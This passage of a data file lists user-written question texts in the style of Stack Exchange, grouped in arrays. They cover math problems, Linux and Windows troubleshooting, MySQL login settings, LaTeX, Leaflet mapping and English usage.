\\frac{x^3y}{x^4} \\le \\frac{x^3y}{x^3} \\le y = 0.$$ But I'm not sure I'm right (especially at $\\frac{x^3y}{x^4} \\le \\frac{x^3y}{x^3}).$ If I'm right - I'd glad if you can accept it. If I'm wrong - can you please correct me? Thanks in advance!", "What is the limit of this sequence? How does it relate to the exponential function? Find $$\\lim_{n\\to\\infty} \\left(1+\\frac{x^2}{n^2}\\right)^n$$ I particular, I am hoping to find the above to be $1+x^kg(x/n)$ where $g(\\cdot)$ is a function with uniformly bounded derivatives. Edit: I'm trying to prove a result that would be true if $(1+x^2/n^2)^n -1 = x^kO(x/n).$", "Why doesn't Neo teleport at random?", "How to plot logistic regression decision boundary?", "How to give permissions to specific command? I would like to run fastboot command without sudo. it's working if I put sudo in front of it, otherwise it wont. like this: $ sudo fastboot devices 2738006a fastboot $ fastboot devices no permissions fastboot How do I solve this?", "If you know it, also try to include the precise reason why the proof is fallacious. To start this off, let me post the one that most people know already: Let $a = b$. Then $a^2 = ab$ $a^2 - b^2 = ab - b^2$ Factor to $(a-b)(a+b) = b(a-b)$ Then divide out $(a-b)$ to get $a+b = b$ Since $a = b$, then $b+b = b$ Therefore $2b = b$ Reduce to $2 = 1$ As @jan-gorzny pointed out, in this case, line 5 is wrong since $a = b$ implies $a-b = 0$, and so you can't divide out $(a-b)$.", "Find the value of : $\\lim_{x \\to \\infty} \\sqrt{4x^2 + 4} - (2x + 2)$", "tmux: enable mouse only when shift pressed" ]

[ "Does a List guarantee that items will be returned in the order they were added? Does a List<T> always guarantee that items will be returned in the order they were added when enumerated? Updated: Thanks for all the answers folks, puts my mind at ease. I had a quick poke around the List<T> class with .NET Reflector (should've probably done that in the first place) and indeed the underlying store is an array of T (T[]).", "How do I figure out if someone is a first cousin, second cousin, cousin once-removed, etc?", "What is a word/idiom for 'unable to decide'? Let's say I have an important decision to make and I can't decide between two competing things (like break up with a girl or not break up with her). What would be a word/idiom to express that?", "I have the low battery alarm disabled in the BIOS settings on my Lemur laptop, but the alarm still sounds when the battery is low. The sound is a very loud and annoying beep that repeats every couple seconds. The laptop will last another 20 minutes without being plugged in so the battery level isn't properly being detected anymore anyways. I found that if I mute my audio then the beep stops but I obviously cannot listen to anything anymore. If i turn the volume back on even to just 1% the battery alarm is audible again at full volume. I remember there used to be a mixer somewhere that could control the internal speaker and so if I could find that again then maybe i could mute that and fix this problem. I have Ubuntu 14.04. Note that I'm not talking about a low battery notification, which is something through gnome; as opposed to a low battery ALARM which is this very loud beep every couple seconds coming through the internal speaker. Nevertheless, here are my gnome power settings: $ gsettings list-recursively org.gnome.settings-daemon.plugins.power org.gnome.settings-daemon.plugins.power button-power 'interactive' org.gnome.settings-daemon.plugins.power critical-battery-action 'nothing' org.gnome.settings-daemon.plugins.power percentage-low 1 org.gnome.settings-daemon.plugins.power priority 0 org.gnome.settings-daemon.plugins.power lid-close-suspend-with-external-monitor false org.gnome.settings-daemon.plugins.power idle-dim false org.gnome.settings-daemon.plugins.power button-hibernate 'hibernate' org.gnome.settings-daemon.plugins.power sleep-inactive-ac-type 'suspend' org.gnome.settings-daemon.plugins.power button-sleep 'suspend' org.gnome.settings-daemon.plugins.power button-suspend 'suspend' org.gnome.settings-daemon.plugins.power sleep-inactive-battery-timeout 0 org.gnome.settings-daemon.plugins.power time-low 1200 org.gnome.settings-daemon.plugins.power lid-close-ac-action 'nothing' org.gnome.settings-daemon.plugins.power notify-perhaps-recall true org.gnome.settings-daemon.plugins.power percentage-critical 1 org.gnome.settings-daemon.plugins.power percentage-action 1 org.gnome.settings-daemon.plugins.power sleep-inactive-battery-type 'suspend' org.gnome.settings-daemon.plugins.power time-action 120 org.gnome.settings-daemon.plugins.power lid-close-battery-action 'nothing' org.gnome.settings-daemon.plugins.power idle-brightness 30 org.gnome.settings-daemon.plugins.power sleep-inactive-ac-timeout 0 org.gnome.settings-daemon.plugins.power time-critical 300 org.gnome.settings-daemon.plugins.power active true org.gnome.settings-daemon.plugins.power use-time-for-policy false $", "How many individual lights can an arduino control I want to use a regular Arduino board to control LEDs - what is the most lights I can control individually from the board? Is there a tutorial on how to hook it up?", "Use Data From Class Without A New Init", "There are a plethora of words for user accounts, like logon, login, signon, and also the action of logging in (or logging on) or signing in. Are there any usage guidelines here?", "What do repeating '^@' symbols in a logfile mean? A few times I have come across this in a log file: Sep 17 09:35:57 00187d378926 ovpn-00187d378926[1701]: /sbin/ifconfig tun0 0.0.0.0 Sep 17 09:35:57 00187d378926 kernel: Kernel logging (proc) stopped. Sep 17 09:35:57 00187d378926 rsyslogd: [origin software=\"rsyslogd\" swVersion=\"4.6.4\" x-pid=\"1707\" x-info=\"http://www.rsyslog.com\"] exiting on signal 15. ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ What does it mean? Sometimes it is a single line, other times it is lots of lines. I usually see it happen on Debian 6 machines.", "Suppose $n$ divides $3^n + 4^n$. Show that $7$ divides $n$. Suppose $n \\geq 2$ and $n$ is a divisor of $3^n + 4^n$. Prove that $7$ is a divisor of $n$. My work so far: I had a hypothesis that if $n| 3^n + 4^n$, then $n = 7^k$ for some $k\\in\\mathbb{N}$. But this is not necessarily so. Take $n = 7⋅379$, where $3^7 + 4^7 = 7^2⋅379$. Then, $3^7+4^7$ divides $3^n + 4^n$, and since $n$ divides $3^7+4^7$, we must have $n|3^n+4^n$.", "What is a disputed flag? In my flagging summary under the statistics, there is 1 flag listed as \"disputed\". This is the first time I've ever seen a disputed flag in my summary, so I'm just curious, what is a disputed flag? How would you even dispute a flag? Is this the same as voting a flag as invalid?", "Ship an application with a database If your application requires a database and it comes with built in data, what is the best way to ship that application? Should I: Precreate the SQLite database and include it in the .apk? Include the SQL commands with the application and have it create the database and insert the data on first use? The drawbacks I see are: Possible SQLite version mismatches might cause problems and I currently don't know where the database should go and how to access it. It may take a really long time to create and populate the database on the device. Any suggestions? Pointers to the documentation regarding any issues would be greatly appreciated.", "Has anyone used PostgreSQL with PostGIS successfully? I am a semi-experienced ArcGIS user and want to build out a database and connect it to ArcCatalog. I've scoured the internet for resources but nobody has really given a good walkthrough.", "$a^m=b^m$ and $a^n=b^n$ imply $a=b$ Let $D$ be an integral domain and let $a^m=b^m$ and $a^n=b^n$ where $m$ and $n$ are relatively prime integers, $a,b \\in D$. How do I show $a=b$?", "I have a polygon shape file that has many overlapping features. Each feature represents an area used by polar bears. So some of the polygons overlap and some don't, and there are separate clusters of overlapping areas. I would like to get a measure of how much overlap there is in a particular area. But I have no clue how to do this. I'm pretty new to GIS and am still learning the ropes, it just seems I can't find an answer.", "Set \"default\" monitor I would like to be able to set my \"default\" monitor to be my external 25' monitor instead of my laptop one when I have my external monitor connected. Many applications always open on the laptops monitor instead of the \"big\" one. Currently, the only way I know to disable this behavior is to disable the laptop monitor, however, as I use a laptop stand to bring it higher, Id like to be able to use my laptop monitor as a \"secondary\" monitor, without dock (launcher) and without any windows opening on it. The only way for a window to reach it would be to actually manually grab it and drag it over. Some known applications that ALWAYS open on the laptop monitor and drive me crazy: Slack, Rocket Chat, Thunderbird, Sky, System Settings, Guake (specially annoying since i cant move it).", "Why doesn't Mac OS X source ~/.bashrc?", "What Scoping Class Will Use? In reading through the release notes I was excited to discover the introduction of a new tag. That should help lower the barriers to entry! However, the release notes do not specify what the name of the scoping class should be. And since , we're left guessing. To be explicit about what I'm trying to understand, take for example: <apex:page showHeader=\"false\" standardStylesheets=\"false\" sidebar=\"false\" applyHtmlTag=\"false\" applyBodyTag=\"false\" docType=\"html-5.0\"> <html xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" lang=\"en\"> <head> ... <apex:stylesheet value=\"{!URLFOR($Resource.REPLACE_WITH_NAME_OF_SLDS_STATIC_RESOURCE, 'assets/styles/salesforce-lightning-design-system-vf.min.css')}\" /> </head> <body> <!-- REQUIRED SLDS WRAPPER --> <div class=\"REPLACE_WITH_NAME_OF_CUSTOM_SCOPING_CLASS\"> ... </body> </html> </apex:page> If I replace the <apex:stylesheet> with <apex:slds>, what should I specify for REPLACE_WITH_NAME_OF_CUSTOM_SCOPING_CLASS?", "Finding determinant for a matrix with one value on the diagonal and another everywhere else Let us look the the matrix $\\left(\\begin{array}{ccccc} a & b & b & b & b\\\\ b & a & b & b & b\\\\ b & b & a & b & b\\\\ b & b & b & a & b\\\\ b & b & b & b & a \\end{array}\\right)$ It has one value, $a$, on the main diagonal, and another value, $b$ everywhere else. Let us assume that we are over a ring and that $a$ is invertible. I wish to find the determinant of every $n\\times n$ matrix of this form ($a$ on the diagonal, $b$ everywhere else). Using row and column operations I have managed to transform the matrix to upper-triangular form and found formula for specific cases. Generalizing it I got to the following formula: $\\det(A) = a\\left(a-b\\right)^{n-2}\\left(a+\\left(n-2\\right)b-\\frac{\\left(n-1\\right)b^{2}}{a}\\right)$ I think I can prove it with row-operations in the general case with a little patience. However, I'm wondering if there is a \"smart\" way of getting to this formula that I'm missing and if there is a nicer representation of it. Also, what can be said when $a$ is not invertible? (esp. the case where we are over a field and $a=0$).", "Under what assumptions can a semigroup $(S,*)$ be embedded into a group?", "Notation for infinite product in reverse order" ]

[ "How to escape quotes in shell? I'm having trouble with escaping characters in bash. I'd like to escape single and double quotes while running a command under a different user. For the purposes of this question let's say I want to echo the following on the screen: 'single quote phrase' \"double quote phrase\" How can I escape all the special chars, if I also need to switch to a different user: sudo su USER -c \"echo \\\"'single quote phrase' \\\"double quote phrase\\\"\\\"\" Of course, this doesn't produce the right result.", "Is there an easy way to convert a number to a word in PHP?", "I haven't seen the question stated precisely in these terms, and this is why I make a new question. What I am interested in knowing is not the definition of a neural network, but understanding the actual difference with a deep neural network. For more context: I know what a neural network is and how backpropagation works. I know that a DNN must have multiple hidden layers. However, 10 years ago in class I learned that having several layers or one layer (not counting the input and output layers) was equivalent in terms of the functions a neural network is able to represent (see Cybenko's ), and that having more layers made it more complex to analyse without gain in performance. Obviously, that is not the case anymore. I suppose, maybe wrongly, that the differences are in terms of training algorithm and properties rather than structure, and therefore I would really appreciate if the answer could underline the reasons that made the move to DNN possible (e.g. mathematical proof or randomly playing with networks?) and desirable (e.g. speed of convergence?)", "Gaussian-like integral : $\\int_0^{\\infty} e^{-x^2} \\cos( a x) \\ \\mathrm{d}x$", "Is it appropriate to use the salutation \"Dear All\" in a work email? I have observed that in my work place, whenever a mail is sent to more than one person( like an information, meeting request or a notice etc.), the mail starts with the salutation \"Dear All\". This, somehow, doesn't seem correct to me. For me, a salutation should address the reader individually, at least in its singular form, as in \"Dear Colleagues\". Am I correct in thinking that?", "How to start a background process in Python?", "I used to think that all users can delete their own posts, as long as these posts haven't gained a relevant number of upvotes. After seeing posts again and again, I decided to verify my assumption and found out that you actually can't delete your own answers if you post from a low reputation, cookie based account. Is there a reason for this or is this unintentional? In my opinion even users without a \"substantial\" account should be able to change their minds and delete an answer if they think better of it.", "Can you check if a PSN code is valid without redeeming it? I have a code for additional content on a Playstation game, and I want to know whether it is still valid, but I don't want to redeem it for myself. If I enter it in the Playstation Store (on PS3, PS4 or the website), does it get redeemed to my account automatically, or can I enter it without redeeming? If it gets redeemed automatically, is there another way to check if it is valid?", "Proving a triangle with different edge colors exists in a graph. This is again some homework translated (hopefully not too badly) from my book The graph $K_{n}$ is colored using $n$ different colors, in a way that each color is used at least once. Prove that there exists a triangle with its edges colored in different colors.", "All Stack Exchange data dumps", "How do people who do not speak Indian English \"prepone\" things?", "Loading external GeoJSON file into Leaflet map? I would like to load a geoJSON (polygon) file into my leaflet map. I have seen examples where geoJSON is embedded into the javascript code but I can't find any examples showing how it is done with an external file. <head> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"> <link rel=\"stylesheet\" href=\"http://cdn.leafletjs.com/leaflet-0.5/leaflet.css\" /> <script src=\"usStates.geojson\" type=\"text/javascript\"></script> <style> html, body, #map { height: 100%; } body { padding: 0; margin: 0; } </style> </head> <body> <div id=\"map\" style=\"height: 100%\"</div> <script src=\"http://d3js.org/d3.v2.min.js?2.9.3\"></script> <script src=\"http://cdn.leafletjs.com/leaflet-0.5/leaflet.js\"></script> <script type=\"text/javascript\"> var map = L.map('map').setView([38.57, -94.71], 4); L.tileLayer('http://{s}.tile.cloudmade.com/9067860284bc491e92d2342cc51d47d9/998/256/{z}/{x}/{y}.png', {attribution: 'Map data © <a href=\"http://openstreetmap.org\">OpenStreetMap</a> Imagery © <a href=\"http://cloudmade.com\">CloudMade</a>'}).addTo(map); var featureStyle = { \"color\": \"#ff7800\", \"weight\": 5, \"opacity\": 0.2 }; L.geoJson(usStates).addTo(map); </script> </body>", "How can I utilize the whole terminal, like htop or emacs do? I want to write a program that can \"draw\" in the terminal the same way as htop or emacs. By that I mean \"get rid of the prompt and make the output dependent on the current size of the terminal\". To make this a bit more clear: I want to use the terminal this way: in stead of this way:", "Show $a^p \\equiv a \\mod 2p$ I've stucked at the following problem: Let $p$ be an odd prime number. Show that for all $a\\in\\mathbb{Z}$ $$a^p \\equiv a\\ (\\mathrm{mod}\\ 2p)$$ How can I prove it? I know within Fermat's theorem that $a^p \\equiv a\\ \\mathrm{mod}\\ p$.", "What are the “spam” and “rude or abusive” (offensive) flags, and how do they work? When flagging, there are two special case options: spam and rude or abusive. What is spam, and when should I flag content as such? What is considered offensive, rude or abusive content? How does the spam flag differ from the rude or abusive flag? What is the effect of these special flags? When are these flags removed?", "bibtex and genitive / possessive 's: the proper way to obtain \"Kuran's (1989) model\"", "Scenario: I have a custom button on a standard layout, which will call an apex class to do some validation on a record. If not validated, it needs to throw out some errors on that page. What are the best UX options to achieve this? I am not too sure how to achieve this. Within a trigger, you can use the addError method to add the custom errors. Can my Apex class reference the fields of a standard object? The ideal approach would be to do the following: Contact.Email.addError('Please enter the right format here'); How can I achieve this via an apex class that the custom button will call? What I have thought: Having a VF Page popup on the screen so that user can see all the errors, but that's not the best approach as UX is a big deal for this application Thanks.", "Can't find wifi drivers for 0bda:f179 Realtek Semiconductor Corp I'm trying to install wifi drivers for a particular mini wifi card i bought. The output of lsusb is: 0bda:f179 Realtek Semiconductor Corp I've searched everywhere for drivers, but could not find anything. Any help? Thanks", "Cleft sentences Let's assume that John gave me a cat. I can rephrase the fact with: What John did was to give me a cat What John did was give me a cat What John did was, he gave me a cat But can I say the following phrase? What John did was gave me a cat", "How can I avoid Java code in JSP files, using JSP 2?" ]

[ "I'd like to \"add to\" an existing command by writing something like \\renewcommand{\\somecommand}{\\begin{something}\\somecommand\\end{something}} but (not surprisingly) I get errors about being \"too deeply nested\". Is there a way to take an existing command, add to it (by appending or prepending additional commands or text), and then have that \"augmented\" command replace the existing command?", "How can I evaluate $\\int_{-\\infty}^{\\infty} e^{-x^2} dx$ without using polar coordinates", "Question : Determine all natural numbers n such that 3 divides $n\\cdot2^{n}+1$ Actually I don't have any ideas to approach but my efforts : I see $n=1,2,7,8,13,14$ so I think : $n=6k+1$ and $n=6k+2$ $k\\in \\Bbb{N} $ If I'm not wrong but I don't know how ? I prove it ?", "Replace values which obey certain criteria", "How to disable javascript modal popup ads", "How do I turn on SharePoint App store in SharePoint 2013 I am getting this message when I want to add a app: Sorry, apps are turned off. If you know who runs the server, tell them to enable apps.", "WINDOWS 10 - Error Windows Update 10 = Error in phase \" SAFE_OS \" with the operator error with \" BOOT \" For days I tried several ways to install Windows 10 . With Windows Update I have always an error and with the media creation tool microsoft I have this message: \" The installation failed in SAFE_OS phase with an error when BOOT operator \" with this code : 0xC1900101 - 0x20017 Having tried everything I do not know what to do ... Can you help me please ? Thank you PS: I migrated my OS with the software \"Paragon migrate OS to SSD\" from my hard disk to my SSD. Maybe I have this errors because I did this....", "Conditionally enabling systemd files through Debian packaging I've created a package which installs a service. On our embedded devices, I want this package to automatically enable the service. On our developer workstations, I want the developers to systemctl start foo manually (it's a heavy service, and so it just consumes resources if run all of the time on a desktop environment). How can I go about prompting the user for their decision during the apt-get step? Is that the best solution? Note, I've created the package using dh_make and debhelper and enabled it with: %: dh $@ --with=systemd override_dh_systemd_enable: dh_systemd_enable --name=foo foo.service", "I want to determine $$\\lim\\limits_{(x,y) \\to (0,0)} \\frac{x^2·y^3}{x^4+y^6}$$ I'm sure the limit exists, it's zero because I tried to find other different limits in line and parabola points ($(x,mx)$ and $(x,mx^2)$) but every time I got zero. So, I have to use the definition or sequences to confirm.", "Java. Splitting a multiple word string into two word strings every space", "Remember window locations when docked and undocked I find this beyond frustrating. I have two extra screens on my laptop at work. I take my laptop and go home, with no extra screens connected. I come back, dock the laptop, and the windows need to be rearranged again. Is there a way to get windows (or a utility) to keep track of the overall screen configuration (#, size, resolution), and remember where windows were placed, so when the screen configuration matches again, it puts applications BACK where they were?", "What's wrong with this query: INSERT INTO Users( weight, desiredWeight ) VALUES ( 160, 145 ) WHERE id = 1; It works without the WHERE clause. I've seemed to have forgot my SQL.", "Windows 10 ver 1607: File Explorer long paths not working? I updated to the Windows 10 home anniversary edition version 1607 and set LongPathsEnabled to 1 with regedit.exe but the File Explorer doesn't seem to work with long paths still. If you select a long path file and try to rename it, no option will be available. I restarted the computer after making the changes and update. Is there any way to enable renaming in the File Explorer in the new updated version? Did I miss a step somewhere?", "Do not show ellipsis when not needed in search results When doing a search, the results page shows an ellipsis when it is not needed. For instance: The message of that answer is shorter than the text overflow limit, which means the ellipsis (...) should not be shown.", "Heisenberg famously derived his uncertainty principle by considering the disturbance that a measurement would have on a small enough system. Of course in the mathematical formalism of Quantum Mechanics the relationship is derived from more basic principles. How does String Theory account for it? Heuristically, and mathematically?", "Why can´t we assign a new string to an char array, but to a pointer?", "I have a tag in my html like this: <h1>My Website Title Here</h1> Using css I want to replace the text with my actual logo. I've got the logo there no problem via resizing the tag and putting a background image in via css. However, I can't figure out how to get rid of the text. I've seen it done before basically by pushing the text off the screen. The problem is I can't remember where I saw it.", "I can't play Pokemon GO! What's wrong? Pokemon GO isn't working at all for me right now. I'm in one of the following circumstances and can't do anything: My game is displaying a \"Try Again\" message I'm stuck on the Loading Screen When I sign in I get a message that the servers are experiencing problems. I see the map but nothing is loaded, and my team color is wrong The \"loading\" Pokeball just ends up spinning and I can't catch or interact with things When I try to catch a Pokemon, the Pokeball just sits on my screen doing nothing Gym opponents will drop to 1 HP and won't take any more damage or attack When I open a pokestop, the pokestop image and the name of the pokestop does not load. What's causing this? Is there a way to fix it?", "Singular vs. Plural with Multiple Gerunds as Subject (IE: [Gerund] and [Gerund] are/is [something].) I'm trying to find out whether I should use a singular or plural verb when there are multiple gerunds as the subject of the sentence. For example: Running the correct course and keeping a steady pace are/is necessary in order to win. With either one of these by itself, "is" would be correct: Running the correct course is necessary in order to win. Keeping a steady pace is necessary in order to win. With both gerunds combined, I can't seem to figure out whether the verb should stay singular since each phrase is singular, or if it should become plural since there are two connected by "and". If we just treat the gerunds as regular nouns, then obviously it would become "are", but I'm not sure if gerunds have the exact same rules as regular nouns. I know that if the sentence was: Running the correct course and keeping a steady pace are both necessary. That "are" would be correct, but without the "both" it sounds incorrect to me. Does anyone know the official rule here?", "Cannot create PostGIS extension with Ubuntu 18.04" ]

[ "I'm trying to show that if $f$ is a continuous function on $[0,1]$ and $\\int_0^{1} f(x)e^{nx}\\,{\\rm d}x = 0$ for all $n = 0, 1, 2, \\dots$, then $f(x) = 0$. I'd like to use Weierstrass approximation theorem to find a sequence of polynomials $p_m$ that converge uniformly to $f(x)$. Then we could say $\\lim\\limits_{m\\to \\infty} \\int p_m(x)e^{nx}\\,{\\rm d}x = \\int f(x)e^{nx}\\,{\\rm d}x = 0$, but I'm struggling to deduce that then all the $p_m$ are zero which would give the result.", "A better serial voting trap", "According to the , you can harden a MySQL server by adding passwords, or removing the anonymous accounts. If you want to prevent clients from connecting as anonymous users without a password, you should either assign a password to each anonymous account or else remove the accounts. Before hardening, my users table looked like this. mysql> select user,host,password from mysql.user; +------------------+-----------+-------------------------------------------+ | user | host | password | +------------------+-----------+-------------------------------------------+ | root | localhost | *F3A2A51A9B0F2BE246XXXXXXXXXXXXXXXXXXXXXX | | root | gitlab | | | root | 127.0.0.1 | | | root | ::1 | | | | localhost | | | | gitlab | | | debian-sys-maint | localhost | *95C1BF709B26A5BAXXXXXXXXXXXXXXXXXXXXXXXX | | myuser | localhost | *6C8989366EAF75BB6XXXXXXXXXXXXXXXXXXXXXXX | +------------------+-----------+-------------------------------------------+ I've remove all anonymous accounts, so that the user table now looks like this. (I'm using puppet to manage the users, but puppet effectively performs a DROP USER command). mysql> select user,host,password from mysql.user; +------------------+-----------+-------------------------------------------+ | user | host | password | +------------------+-----------+-------------------------------------------+ | root | localhost | *F3A2A51A9B0F2BE246XXXXXXXXXXXXXXXXXXXXXX | | debian-sys-maint | localhost | *95C1BF709B26A5BAXXXXXXXXXXXXXXXXXXXXXXXX | | myuser | localhost | *6C8989366EAF75BB6XXXXXXXXXXXXXXXXXXXXXXX | +------------------+-----------+-------------------------------------------+ Why is it that I am still able to login to my test system without a username or a password? What do I need to do to prevent any unwanted users from logging in? root@gitlab:~# mysql Welcome to the MySQL monitor. Commands end with ; or \\g. Your MySQL connection id is 98 Server version: 5.5.32-0ubuntu0.12.04.1 (Ubuntu) .... mysql> Update: I've also just discovered that I can login as root, without entering a password. Update2: I found which has some good information, but does not solve the issue. There are no anonymous users. mysql> select user,host,password from mysql.user where user=''; Empty set (0.00 sec) I login as root@localhost. mysql> select USER(),CURRENT_USER(); +----------------+----------------+ | USER() | CURRENT_USER() | +----------------+----------------+ | root@localhost | root@localhost | +----------------+----------------+ I do not have a default password, or skip-grant-tables defined in my.cnf root@gitlab:~# cat /etc/mysql/my.cnf |grep -i 'skip-grant-tables'|wc -l 0 root@gitlab:~# cat /etc/mysql/my.cnf |grep -i 'pass'|wc -l 0 Update3: I have tried performing these steps with puppet, (which should perform a flush privileges automatically). I have also manually flushed privileges and also tried restarting mysql. Update4: I've also tried changing the mysql root password and flushed privileges. No luck, I can still log in as any user without a password.", "I am drawing a 3D array like the attached picture, which actually describes a multidimensional array. However, I can not put the name of the axis and take the value from the matrix like the attached picture. This is the code that I have: \\documentclass[margin=5mm]{standalone} \\usepackage{tikz} \\usetikzlibrary{matrix,calc} \\begin{document} \\begin{tikzpicture}[every node/.style={anchor=north east,fill=white,minimum width=1.4cm,minimum height=7mm}] \\matrix (mA) [draw,matrix of math nodes] { (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ }; \\matrix (mB) [draw,matrix of math nodes] at ($(mA.south west)+(1.5,0.7)$) { (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ }; \\matrix (mC) [draw,matrix of math nodes] at ($(mB.south west)+(1.5,0.7)$) { (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ (1,1,3) & (1,1,3) & (1,1,3) & (1,1,3) \\\\ }; \\draw[dashed](mA.north east)--(mC.north east); \\draw[dashed](mA.north west)--(mC.north west); \\draw[dashed](mA.south east)--(mC.south east); \\end{tikzpicture} \\end{document}", "\"Calling dibs\" - what does it imply? The term \"to have dibs on something\" or \"to call dibs on something\" plays a recurring role in American film and television (e.g. ), so it gets exported a lot. describes \"dibs\" as [...] a common, \"informal\" convention to reserve or declare full or partial ownership of a community resource, such as a chair [...] From the usages in the media I have seen, this convention also seems to contain some moral concept which is not described in dictionaries. For me, it looks like by calling dibs (or ), the caller actually receives the (implicit, moral) right to that resource, and this typically goes undisputed by their rivals. Can you confirm the existence of this concept? Is this something that varies between groups of people (or maybe between regions), or is there a concensus on how to respond to this?", "Java Manifest.mf classpath issues I've been trying to run a jar file - let's call it test.jar - that uses the Sybase jconn3.jar on a Unix system. I have created a MANIFEST.MF file that has the following: Class-Path: $SYBASE/jConnect-6_0/classes/jconn3.jar commons-net-1.3.0.jar This gives a ClassNotFoundError. $SYBASE is the system variable that points to /opt/sybase13; I've also tried the following: Class-Path: /opt/sybase13/jConnect-6_0/classes/jconn3.jar commons-net-1.3.0.jar and Class-Path: opt/sybase13/jConnect-6_0/classes/jconn3.jar commons-net-1.3.0.jar However, if I copy the jconn3.jar file from the $SYBASE/jConnect-6_0/classes to the same directory as test.jar, and update my MANIFEST.MF to read as follows: Class-Path: jconn3.jar commons-net-1.3.0.jar The application runs as expected. Now, I've been able to verify the jconn3.jar file works by copying it locally; my MANIFEST.MF file includes the path to my Main-Class, so that's not at issue here. What do you think could be the problem? I've been looking at this thing for too long now. Thanks!", "Running out of inodes", "Why doesn't the frequency of light change during refraction?", "Word for an event that will likely never happen again I've read , but none of them are what I am looking for. I once read a book that used a word to describe an event that has happened in the past, but the odds were so astronomical that it will likely never happen a second time. The context I read these words in were the creation of the first life on earth (without any theological ideas). Basically, the text said that the scenario for the creation of the first living organism happened on a planet where conditions were just right by complete chance, and that the odds of this were so astronomical that it would likely never happen again anywhere in the universe over any length of time. Sample sentence: \"The creation of the first organisms was incredibly unlikely, the event can be called a _________ event, or an event that will likely never happen again.\" I can't pretend to understand the validity of the claims by the text, but the words they used to describe these events were quite clever (and scientific sounding) that it would make a fun hyperbole. I thought it was something along the lines of singularity event, but that doesn't sound quite right.", "Winter Bash 2014 Secret Hats", "Is there a term for when just by saying that something is broken and showing it to someone fixes the issue? This seems to be a common enough occurrence that it would merit its own phrase. I imagine it might be some sort of subset of Murphy's Law. But it's specific enough that Murphy's Law doesn't quite address it. Do you know when you are banging your head against a wall for hours trying to fix something? And then when you finally give up and try to get someone else to come fix it (or even just look at it to see that it's broken), it's working perfectly as if nothing had ever happened? And at this point, you're just trying to convince the other person that it was broken in the first place. It'd at least take some of the frustration out of the experience if you could both just laugh about <insert the phrase for it here>. But as it is now, I basically have to go through the whole paragraph above to say it, and at that point the joke is kind of lost.", "I learned thermodynamics and the basics of statistical mechanics but I'd like to sit through a good advanced book/books. Mainly I just want it to be thorough and to include all the math. And of course, it's always good to give as much intuition about the material. Some things I'd be happy if it includes (but again, it mostly just needs to be a clear book even if it doesn't contain these) are: As much justifications for the postulates if possible, I'm very interested in reading more about how Liouville's theorem connects to the postulates. Have examples of calculating partition functions, hopefully not just the partition function for the ideal gas.", "What exactly does Perl's \"bless\" do? I understand one uses the \"bless\" keyword in Perl inside a class's \"new\" method: sub new { my $self = bless { }; return $self; } But what exactly is \"bless\" doing to that hash reference ?", "SEO Removal Time? I was searching about removing the a domain/site being listed in Web Search Results (like, Google Search) and i found solution, . I believe it will be the solution but what i still need to know is: How long will it take to bring down my Website being listed from Search Engine Results?", "Labeling Multiple Equations Per Row of a Table I am trying to create a table with two columns of independently labelled equations (1-6). Unfortunately, everything I have found so far either has not worked or would number them as sub-equations (1a, 1b, etc). My current attempt is: \\documentclass{article} \\usepackage{graphicx, verbatim, tabularx} \\usepackage{amsfonts} \\usepackage{amsmath, amssymb} \\newcommand{\\grad}{\\vec{\\nabla}} \\newcommand{\\prtl}[2]{\\frac{\\partial #1}{\\partial #2}} \\newcommand{\\curl}{\\grad\\times} \\begin{document} \\begin{tabular}{p{5cm}p{5cm}} $\\curl\\vec{E} = -i\\omega\\mu\\vec{H}$ & $\\curl\\vec{H} = i\\omega\\mu\\vec{E}$ \\\\ \\begin{equation} \\label{eq:curlHx} \\prtl{E_z}{y} +\\gamma E_y= -i\\omega\\mu H_x \\end{equation} & \\begin{equation} \\label{eq:curlEx} \\prtl{H_z}{y} +\\gamma H_y= i\\omega\\mu E_x \\end{equation}\\\\ \\begin{equation} \\label{eq:curlHy} -\\prtl{E_z}{x} -\\gamma E_x= -i\\omega\\mu H_y \\end{equation} & \\begin{equation} \\label{eq:curlEy} -\\prtl{H_z}{x} -\\gamma H_x= -i\\omega\\mu E_y \\end{equation} \\\\ \\begin{equation} \\label{eq:curlHz} \\prtl{E_y}{x}-\\prtl{E_x}{y} = -i\\omega\\mu H_z \\end{equation} & \\begin{equation} \\label{eq:curlEz} \\prtl{H_y}{x}-\\prtl{H_x}{y} = -i\\omega\\mu E_z \\end{equation} \\end{tabular} \\end{document} Is there an environment other than tabular that would make this work? Tabularx came close (got the numbering correct), but the formatting/spacing was horrific.", "How do I prevent and/or handle a StackOverflowException? I would like to either prevent or handle a StackOverflowException that I am getting from a call to the XslCompiledTransform.Transform method within an Xsl Editor I am writing. The problem seems to be that the user can write an Xsl script that is infinitely recursive, and it just blows up on the call to the Transform method. (That is, the problem is not just the typical programmatic error, which is usually the cause of such an exception.) Is there a way to detect and/or limit how many recursions are allowed? Or any other ideas to keep this code from just blowing up on me?", "Finding 